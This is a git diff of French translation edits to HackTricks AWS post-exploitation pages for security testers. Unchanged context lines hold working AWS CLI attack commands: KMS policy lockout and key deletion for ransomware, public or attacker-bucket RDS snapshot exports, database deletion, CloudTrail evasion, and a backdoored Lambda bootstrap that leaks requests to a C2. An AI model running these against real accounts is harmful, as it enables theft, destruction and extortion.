En décodant le jeton JWT, nous obtenons l'ID du cluster et aussi la région.  Sachant que le format standard pour l'URL EKS est
```bash
https://...eks.amazonaws.com
```
-Je n'ai trouvé aucune documentation qui explique les critères pour les 'deux caractères' et le 'nombre'. Mais en faisant quelques tests de mon côté, je vois que ceux-ci reviennent :
+Je n'ai trouvé aucune documentation qui explique les critères pour les 'deux caractères' et le 'nombre'. Mais en faisant quelques tests de mon côté, je vois que ceux-ci reviennent souvent :
- gr7
- yl4
@@ -114,7 +114,7 @@ for comb in product(letter_combinations, number_combinations)
with open('out.txt', 'w') as f:
f.write('\n'.join(result))
```
-Alors avec wfuzz
+Ensuite avec wfuzz
```bash
wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com
```
@@ -123,11 +123,11 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws
### Contournement de CloudTrail
-Si un attaquant obtient les identifiants d'un AWS avec **permission sur un EKS**. Si l'attaquant configure son propre **`kubeconfig`** (sans appeler **`update-kubeconfig`**) comme expliqué précédemment, le **`get-token`** ne génère pas de journaux dans Cloudtrail car il n'interagit pas avec l'API AWS (il crée simplement le jeton localement).
+Si un attaquant obtient des identifiants d'un AWS avec **permission sur un EKS**. Si l'attaquant configure son propre **`kubeconfig`** (sans appeler **`update-kubeconfig`**) comme expliqué précédemment, le **`get-token`** ne génère pas de journaux dans Cloudtrail car il n'interagit pas avec l'API AWS (il crée simplement le token localement).
Ainsi, lorsque l'attaquant communique avec le cluster EKS, **cloudtrail ne journalisera rien lié à l'utilisateur volé et y accédant**.
-Notez que le **cluster EKS pourrait avoir des journaux activés** qui enregistreront cet accès (bien qu'ils soient désactivés par défaut).
+Notez que le **cluster EKS pourrait avoir des journaux activés** qui enregistreront cet accès (bien que, par défaut, ils soient désactivés).
### Rançon EKS ?
@@ -138,6 +138,6 @@ Donc, si un **attaquant compromet un cluster en utilisant fargate** et **supprim
> [!TIP]
> Notez que si le cluster utilisait des **VM EC2**, il pourrait être possible d'obtenir des privilèges d'administrateur depuis le **Node** et de récupérer le cluster.
>
-> En fait, si le cluster utilise Fargate, vous pourriez EC2 nodes ou déplacer tout vers EC2 vers le cluster et le récupérer en accédant aux jetons dans le nœud.
+> En fait, si le cluster utilise Fargate, vous pourriez EC2 nodes ou déplacer tout vers EC2 vers le cluster et le récupérer en accédant aux tokens dans le node.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
index 7af4a09ae..ca464126f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
@@ -19,7 +19,7 @@ Un attaquant avec la permission `elasticbeanstalk:DeleteApplicationVersion` peut
```bash
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
```
-**Impact potentiel** : Interruption du déploiement de l'application et perte potentielle de versions d'application.
+**Impact potentiel** : Interruption du déploiement de l'application et perte potentielle des versions de l'application.
### `elasticbeanstalk:TerminateEnvironment`
@@ -37,7 +37,7 @@ aws elasticbeanstalk terminate-environment --environment-name my-existing-env
> [!NOTE]
> TODO : Tester si d'autres autorisations sont nécessaires pour cela
-Un attaquant ayant la permission `elasticbeanstalk:DeleteApplication` peut **supprimer une application Elastic Beanstalk entière**, y compris toutes ses versions et environnements. Cette action pourrait entraîner une perte significative de ressources et de configurations de l'application si elles ne sont pas sauvegardées.
+Un attaquant ayant l'autorisation `elasticbeanstalk:DeleteApplication` peut **supprimer une application Elastic Beanstalk entière**, y compris toutes ses versions et environnements. Cette action pourrait entraîner une perte significative de ressources et de configurations de l'application si elles ne sont pas sauvegardées.
```bash
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
```
@@ -59,12 +59,12 @@ aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1
> [!NOTE]
> TODO : Tester si d'autres autorisations sont nécessaires pour cela
-Un attaquant avec les autorisations `elasticbeanstalk:AddTags` et `elasticbeanstalk:RemoveTags` peut **ajouter ou supprimer des balises sur les ressources Elastic Beanstalk**. Cette action pourrait entraîner une allocation incorrecte des ressources, une facturation ou une gestion des ressources.
+Un attaquant disposant des autorisations `elasticbeanstalk:AddTags` et `elasticbeanstalk:RemoveTags` peut **ajouter ou supprimer des balises sur les ressources Elastic Beanstalk**. Cette action pourrait entraîner une allocation incorrecte des ressources, une facturation ou une gestion des ressources.
```bash
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
```
-**Impact potentiel** : Allocation incorrecte des ressources, facturation ou gestion des ressources en raison de balises ajoutées ou supprimées.
+**Impact potentiel** : Allocation incorrecte des ressources, facturation ou gestion des ressources en raison de l'ajout ou de la suppression d'étiquettes.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
index 85dc111b5..70fe5cd3a 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
@@ -39,7 +39,7 @@ Exemple :
}
```
> [!WARNING]
-> Pour qu'un attaquant exploite un député confus, il devra trouver d'une manière ou d'une autre si les principaux du compte actuel peuvent usurper des rôles dans d'autres comptes.
+> Pour qu'un attaquant exploite un deputy confus, il devra trouver d'une manière ou d'une autre si les principaux du compte actuel peuvent usurper des rôles dans d'autres comptes.
### Confiances inattendues
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
index 96ca2b014..180bbfb1c 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
@@ -14,7 +14,7 @@ Pour plus d'informations, consultez :
`fileb://` et `file://` sont des schémas URI utilisés dans les commandes AWS CLI pour spécifier le chemin vers des fichiers locaux :
-- `fileb://:` Lit le fichier en mode binaire, couramment utilisé pour les fichiers non textuels.
+- `fileb://:` Lit le fichier en mode binaire, couramment utilisé pour les fichiers non texte.
- `file://:` Lit le fichier en mode texte, généralement utilisé pour des fichiers texte brut, des scripts ou du JSON qui n'a pas d'exigences d'encodage spéciales.
> [!TIP]
@@ -38,7 +38,7 @@ aws kms decrypt \
--query Plaintext | base64 \
--decode
```
-- Utiliser une **clé** **asymétrique** :
+- Utiliser une clé **asymétrique** :
```bash
# Encrypt data
aws kms encrypt \
@@ -62,12 +62,12 @@ aws kms decrypt \
Un attaquant ayant un accès privilégié sur KMS pourrait modifier la politique KMS des clés et **accorder à son compte l'accès à celles-ci**, supprimant l'accès accordé au compte légitime.
-Ainsi, les utilisateurs du compte légitime ne pourront accéder à aucune information de service qui a été chiffrée avec ces clés, créant un ransomware facile mais efficace sur le compte.
+Ainsi, les utilisateurs du compte légitime ne pourront accéder à aucune information de tout service qui a été chiffré avec ces clés, créant un ransomware facile mais efficace sur le compte.
> [!WARNING]
> Notez que **les clés gérées par AWS ne sont pas affectées** par cette attaque, seulement **les clés gérées par le client**.
-> Notez également la nécessité d'utiliser le paramètre **`--bypass-policy-lockout-safety-check`** (l'absence de cette option dans la console web rend cette attaque uniquement possible depuis la CLI).
+> Notez également la nécessité d'utiliser le paramètre **`--bypass-policy-lockout-safety-check`** (l'absence de cette option dans la console web rend cette attaque uniquement possible depuis le CLI).
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,7 +92,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
}
```
> [!CAUTION]
-> Notez que si vous modifiez cette politique et que vous ne donnez l'accès qu'à un compte externe, puis que depuis ce compte externe vous essayez de définir une nouvelle politique pour **redonner l'accès au compte d'origine, vous ne pourrez pas**.
+> Notez que si vous modifiez cette politique et que vous ne donnez l'accès qu'à un compte externe, puis que depuis ce compte externe vous essayez de définir une nouvelle politique pour **rendre l'accès au compte d'origine, vous ne pourrez pas**.
@@ -102,7 +102,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
Il existe une autre façon d'effectuer un ransomware KMS global, qui impliquerait les étapes suivantes :
-- Créer une nouvelle **clé avec un matériel de clé** importé par l'attaquant
+- Créer une **nouvelle clé avec un matériel de clé** importé par l'attaquant
- **Ré-encrypter les anciennes données** chiffrées avec la version précédente avec la nouvelle.
- **Supprimer la clé KMS**
- Maintenant, seul l'attaquant, qui possède le matériel de clé d'origine, pourrait être en mesure de déchiffrer les données chiffrées
@@ -118,7 +118,7 @@ aws kms schedule-key-deletion \
--pending-window-in-days 7
```
> [!CAUTION]
-> Notez qu'AWS **empêche désormais les actions précédentes d'être effectuées à partir d'un compte croisé :**
+> Notez qu'AWS **empêche désormais les actions précédentes d'être effectuées depuis un compte croisé :**
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
index ba0327b3e..3711d0227 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
### Voler les Requêtes URL Lambda des Autres
-Si un attaquant parvient à obtenir un RCE à l'intérieur d'une Lambda, il pourra voler les requêtes HTTP d'autres utilisateurs vers la lambda. Si les requêtes contiennent des informations sensibles (cookies, identifiants...), il pourra les voler.
+Si un attaquant parvient d'une manière ou d'une autre à obtenir un RCE à l'intérieur d'une Lambda, il pourra voler les requêtes HTTP d'autres utilisateurs vers la lambda. Si les requêtes contiennent des informations sensibles (cookies, identifiants...), il pourra les voler.
{{#ref}}
aws-warm-lambda-persistence.md
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
index 302dddb70..ec0b8f2a8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -11,20 +11,20 @@
- **`/2018-06-01/runtime/invocation/next`** – obtenir le prochain événement d'invocation
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – retourner la réponse du gestionnaire pour l'invocation
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – retourner une erreur d'exécution
-3. **bootstrap.py** a une boucle récupérant les invocations du processus init et appelle le code de l'utilisateur pour les gérer (**`/next`**).
+3. **bootstrap.py** a une boucle récupérant les invocations du processus init et appelle le code des utilisateurs pour les gérer (**`/next`**).
4. Enfin, **bootstrap.py** envoie au processus init la **réponse**
-Notez que bootstrap charge le code de l'utilisateur en tant que module, donc toute exécution de code effectuée par le code de l'utilisateur se produit en réalité dans ce processus.
+Notez que bootstrap charge le code utilisateur en tant que module, donc toute exécution de code effectuée par le code des utilisateurs se produit en réalité dans ce processus.
## Voler des requêtes Lambda
-L'objectif de cette attaque est de faire exécuter au code de l'utilisateur un processus **`bootstrap.py`** malveillant à l'intérieur du processus **`bootstrap.py`** qui gère la requête vulnérable. De cette manière, le processus **bootstrap malveillant** commencera à **communiquer avec le processus init** pour gérer les requêtes pendant que le bootstrap **légitime** est **piégé** à exécuter le malveillant, donc il ne demandera pas de requêtes au processus init.
+L'objectif de cette attaque est de faire exécuter un processus **`bootstrap.py`** malveillant par le code des utilisateurs à l'intérieur du processus **`bootstrap.py`** qui gère la requête vulnérable. De cette manière, le processus **bootstrap malveillant** commencera à **communiquer avec le processus init** pour gérer les requêtes pendant que le bootstrap **légitime** est **piégé** à exécuter le malveillant, donc il ne demandera pas de requêtes au processus init.
C'est une tâche simple à réaliser car le code de l'utilisateur est exécuté par le processus **`bootstrap.py`** légitime. Ainsi, l'attaquant pourrait :
- **Envoyer un faux résultat de l'invocation actuelle au processus init**, de sorte que init pense que le processus bootstrap attend plus d'invocations.
- Une requête doit être envoyée à **`/${invoke-id}/response`**
-- L'invoke-id peut être obtenu à partir de la pile du processus **`bootstrap.py`** légitime en utilisant le module python [**inspect**](https://docs.python.org/3/library/inspect.html) (comme [proposé ici](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) ou simplement en le demandant à nouveau à **`/2018-06-01/runtime/invocation/next`** (comme [proposé ici](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
+- L'invoke-id peut être obtenu à partir de la pile du processus **`bootstrap.py`** légitime en utilisant le module python [**inspect**](https://docs.python.org/3/library/inspect.html) (comme [proposé ici](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) ou en le demandant à nouveau à **`/2018-06-01/runtime/invocation/next`** (comme [proposé ici](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
- Exécuter un **`boostrap.py`** malveillant qui gérera les prochaines invocations
- Pour des raisons de discrétion, il est possible d'envoyer les paramètres d'invocation lambda à un C2 contrôlé par l'attaquant et ensuite de gérer les requêtes comme d'habitude.
- Pour cette attaque, il suffit d'obtenir le code original de **`bootstrap.py`** du système ou de [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), d'ajouter le code malveillant et de l'exécuter à partir de l'invocation lambda actuelle.
@@ -32,7 +32,7 @@ C'est une tâche simple à réaliser car le code de l'utilisateur est exécuté
### Étapes de l'attaque
1. Trouver une vulnérabilité **RCE**.
-2. Générer un **bootstrap** **malveillant** (par exemple [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
+2. Générer un **bootstrap** **malveillant** (par exemple, [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
3. **Exécuter** le bootstrap malveillant.
Vous pouvez facilement effectuer ces actions en exécutant :
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
index b3a013117..111ea7b11 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
@@ -16,7 +16,7 @@ Si la DB a des instantanés, vous pourriez être en mesure de **trouver des info
### Restaurer les instantanés d'instance
-Les instantanés d'instance peuvent contenir **des informations sensibles** d'instances déjà supprimées ou des informations sensibles qui sont supprimées dans l'instance actuelle. **Créez de nouvelles instances à partir des instantanés** et vérifiez-les.\
+Les instantanés d'instance peuvent contenir des **informations sensibles** d'instances déjà supprimées ou des informations sensibles qui sont supprimées dans l'instance actuelle. **Créez de nouvelles instances à partir des instantanés** et vérifiez-les.\
Ou **exportez l'instantané vers un AMI dans EC2** et suivez les étapes d'une instance EC2 typique.
### Accéder à des informations sensibles
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
index 2c0b7fcaf..36cdba199 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
-Si l'attaquant a suffisamment de permissions, il pourrait rendre une **DB accessible au public** en créant un instantané de la DB, puis une DB accessible au public à partir de l'instantané.
+Si l'attaquant a suffisamment de permissions, il pourrait rendre une **DB accessible publiquement** en créant un instantané de la DB, puis une DB accessible publiquement à partir de l'instantané.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
-Un attaquant avec ces permissions pourrait **créer un instantané d'une DB** et le rendre **publiquement** **disponible**. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de cet instantané.
+Un attaquant avec ces permissions pourrait **créer un snapshot d'une DB** et le rendre **publiquement** **disponible**. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de ce snapshot.
-Si l'attaquant **n'a pas le `rds:CreateDBSnapshot`**, il pourrait tout de même rendre **autres** instantanés créés **publics**.
+Si l'attaquant **n'a pas le `rds:CreateDBSnapshot`**, il pourrait tout de même rendre **autres** snapshots créés **publics**.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier
@@ -57,11 +57,11 @@ Un attaquant avec la permission `rds:DownloadDBLogFilePortion` peut **téléchar
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
-**Impact potentiel** : Accès à des informations sensibles ou actions non autorisées utilisant des identifiants compromis.
+**Impact potentiel** : Accès à des informations sensibles ou actions non autorisées en utilisant des identifiants compromis.
### `rds:DeleteDBInstance`
-Un attaquant avec ces permissions peut **DoS les instances RDS existantes**.
+Un attaquant avec ces autorisations peut **DoS les instances RDS existantes**.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
@@ -71,9 +71,9 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
### `rds:StartExportTask`
> [!NOTE]
-> À faire : Tester
+> TODO : Tester
-Un attaquant ayant cette autorisation peut **exporter un instantané d'instance RDS vers un bucket S3**. Si l'attaquant a le contrôle sur le bucket S3 de destination, il peut potentiellement accéder à des données sensibles dans l'instantané exporté.
+Un attaquant disposant de cette autorisation peut **exporter un instantané d'instance RDS vers un bucket S3**. Si l'attaquant a le contrôle sur le bucket S3 de destination, il peut potentiellement accéder à des données sensibles dans l'instantané exporté.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
index 0019957d0..7bc640e1d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
@@ -31,7 +31,7 @@ En utilisant l'API AWS, l'attaquant **remplace chaque objet dans le bucket par u
Pour ajouter une pression supplémentaire, l'attaquant planifie la suppression de la clé KMS utilisée dans l'attaque. Cela donne à la cible une fenêtre de 7 jours pour récupérer ses données avant que la clé ne soit supprimée et que les données ne deviennent définitivement perdues.
-Enfin, l'attaquant pourrait télécharger un fichier final, généralement nommé "ransom-note.txt", qui contient des instructions pour la cible sur la façon de récupérer ses fichiers. Ce fichier est téléchargé sans chiffrement, probablement pour attirer l'attention de la cible et lui faire prendre conscience de l'attaque ransomware.
+Enfin, l'attaquant pourrait télécharger un fichier final, généralement nommé "ransom-note.txt", qui contient des instructions pour la cible sur la façon de récupérer ses fichiers. Ce fichier est téléchargé sans chiffrement, probablement pour attirer l'attention de la cible et lui faire prendre conscience de l'attaque par ransomware.
**Pour plus d'infos** [**consultez la recherche originale**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
index e9d4a8f56..26334d87e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
@@ -17,7 +17,7 @@ Envoyer un email.
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
```
-Still to test.
+Encore à tester.
### `ses:SendRawEmail`
@@ -31,13 +31,15 @@ Envoyer un e-mail basé sur un modèle.
```bash
aws ses send-templated-email --source --destination --template
```
+Encore à tester.
+
### `ses:SendBulkTemplatedEmail`
Envoyer un e-mail à plusieurs destinataires
```bash
aws ses send-bulk-templated-email --source --template
```
-Still to test.
+Encore à tester.
### `ses:SendBulkEmail`
@@ -58,6 +60,6 @@ Cela enverra un e-mail de vérification personnalisé. Vous pourriez également
aws ses send-custom-verification-email --email-address --template-name
aws sesv2 send-custom-verification-email --email-address --template-name
```
-Still to test.
+Toujours à tester.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
index 83d7d0a97..a9dd704bb 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
@@ -45,11 +45,11 @@ Un attaquant pourrait s'abonner ou se désabonner d'un sujet SNS, pouvant ainsi
aws sns subscribe --topic-arn --protocol --endpoint
aws sns unsubscribe --subscription-arn
```
-**Impact potentiel** : Accès non autorisé aux messages, interruption de service pour les applications dépendant du sujet affecté.
+**Impact potentiel** : Accès non autorisé aux messages, interruption de service pour les applications s'appuyant sur le sujet affecté.
### `sns:AddPermission` , `sns:RemovePermission`
-Un attaquant pourrait accorder à des utilisateurs ou services non autorisés l'accès à un sujet SNS, ou révoquer les autorisations pour des utilisateurs légitimes, provoquant des interruptions dans le fonctionnement normal des applications qui dépendent du sujet.
+Un attaquant pourrait accorder à des utilisateurs ou services non autorisés l'accès à un sujet SNS, ou révoquer les autorisations pour des utilisateurs légitimes, provoquant des perturbations dans le fonctionnement normal des applications qui dépendent du sujet.
```css
aws sns add-permission --topic-arn --label --aws-account-id --action-name
aws sns remove-permission --topic-arn --label
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
index d12ad3fe7..10005cdc8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
@@ -31,7 +31,7 @@ aws sqs change-message-visibility --queue-url --receipt-handle -
### `sqs:DeleteQueue`
-Un attaquant pourrait supprimer une file d'attente SQS entière, entraînant une perte de messages et impactant les applications s'appuyant sur la file d'attente.
+Un attaquant pourrait supprimer une file d'attente SQS entière, entraînant une perte de messages et impactant les applications dépendant de la file d'attente.
```arduino
Copy codeaws sqs delete-queue --queue-url
```
@@ -55,7 +55,7 @@ aws sqs set-queue-attributes --queue-url --attributes
### `sqs:TagQueue` , `sqs:UntagQueue`
-Un attaquant pourrait ajouter, modifier ou supprimer des étiquettes des ressources SQS, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les étiquettes.
+Un attaquant pourrait ajouter, modifier ou supprimer des étiquettes des ressources SQS, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur des étiquettes.
```bash
aws sqs tag-queue --queue-url --tags Key=,Value=
aws sqs untag-queue --queue-url --tag-keys
@@ -64,7 +64,7 @@ aws sqs untag-queue --queue-url --tag-keys
### `sqs:RemovePermission`
-Un attaquant pourrait révoquer les autorisations pour des utilisateurs ou des services légitimes en supprimant les politiques associées à la file d'attente SQS. Cela pourrait entraîner des perturbations dans le fonctionnement normal des applications qui dépendent de la file d'attente.
+Un attaquant pourrait révoquer les autorisations pour des utilisateurs ou des services légitimes en supprimant les politiques associées à la file SQS. Cela pourrait entraîner des perturbations dans le fonctionnement normal des applications qui dépendent de la file.
```arduino
arduinoCopy codeaws sqs remove-permission --queue-url --label
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
index d28dbfef6..dc6f816e0 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - Step Functions Post Exploitation
+# AWS - Post-exploitation des Step Functions
{{#include ../../../banners/hacktricks-training.md}}
@@ -37,11 +37,11 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn
### `states:UpdateMapRun`
-Un attaquant disposant de cette autorisation pourrait manipuler la configuration d'échec de l'exécution de la carte et le paramètre parallèle, étant capable d'augmenter ou de diminuer le nombre maximum d'exécutions de flux de travail enfants autorisées, affectant directement la performance du service. De plus, un attaquant pourrait altérer le pourcentage et le nombre d'échecs tolérés, étant capable de réduire cette valeur à 0, de sorte qu'à chaque fois qu'un élément échoue, l'ensemble de l'exécution de la carte échouerait, affectant directement l'exécution de la machine d'état et perturbant potentiellement des flux de travail critiques.
+Un attaquant disposant de cette autorisation pourrait manipuler la configuration d'échec de Map Run et le paramètre parallèle, étant capable d'augmenter ou de diminuer le nombre maximum d'exécutions de flux de travail enfants autorisées, affectant directement la performance du service. De plus, un attaquant pourrait altérer le pourcentage et le nombre d'échecs tolérés, étant capable de réduire cette valeur à 0, de sorte qu'à chaque fois qu'un élément échoue, l'ensemble de l'exécution de la carte échouerait, affectant directement l'exécution de la machine d'état et perturbant potentiellement des flux de travail critiques.
```bash
aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ]
```
-- **Impact potentiel** : Dégradation des performances et interruption des flux de travail critiques.
+- **Impact potentiel** : Dégradation des performances et perturbation des flux de travail critiques.
### `states:StopExecution`
@@ -56,7 +56,7 @@ aws stepfunctions stop-execution --execution-arn [--error ] [--ca
### `states:TagResource`, `states:UntagResource`
-Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources Step Functions, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur des balises.
+Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources Step Functions, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les balises.
```bash
aws stepfunctions tag-resource --resource-arn --tags Key=,Value=
aws stepfunctions untag-resource --resource-arn --tag-keys
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
index 129804695..cc2191cb1 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
@@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
-
# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
index 231908047..4376021da 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
@@ -7,7 +7,7 @@
La façon d'élever vos privilèges dans AWS est d'avoir suffisamment de permissions pour pouvoir, d'une manière ou d'une autre, accéder aux privilèges d'autres rôles/utilisateurs/groupes. Enchaînant les élévations jusqu'à obtenir un accès administrateur sur l'organisation.
> [!WARNING]
-> AWS a **des centaines** (voire des milliers) de **permissions** qui peuvent être accordées à une entité. Dans ce livre, vous pouvez trouver **toutes les permissions que je connais** que vous pouvez abuser pour **élever des privilèges**, mais si vous **connaissez un chemin** non mentionné ici, **merci de le partager**.
+> AWS a **des centaines** (si ce n'est des milliers) de **permissions** qu'une entité peut se voir accorder. Dans ce livre, vous pouvez trouver **toutes les permissions que je connais** que vous pouvez abuser pour **élever des privilèges**, mais si vous **connaissez un chemin** non mentionné ici, **merci de le partager**.
> [!CAUTION]
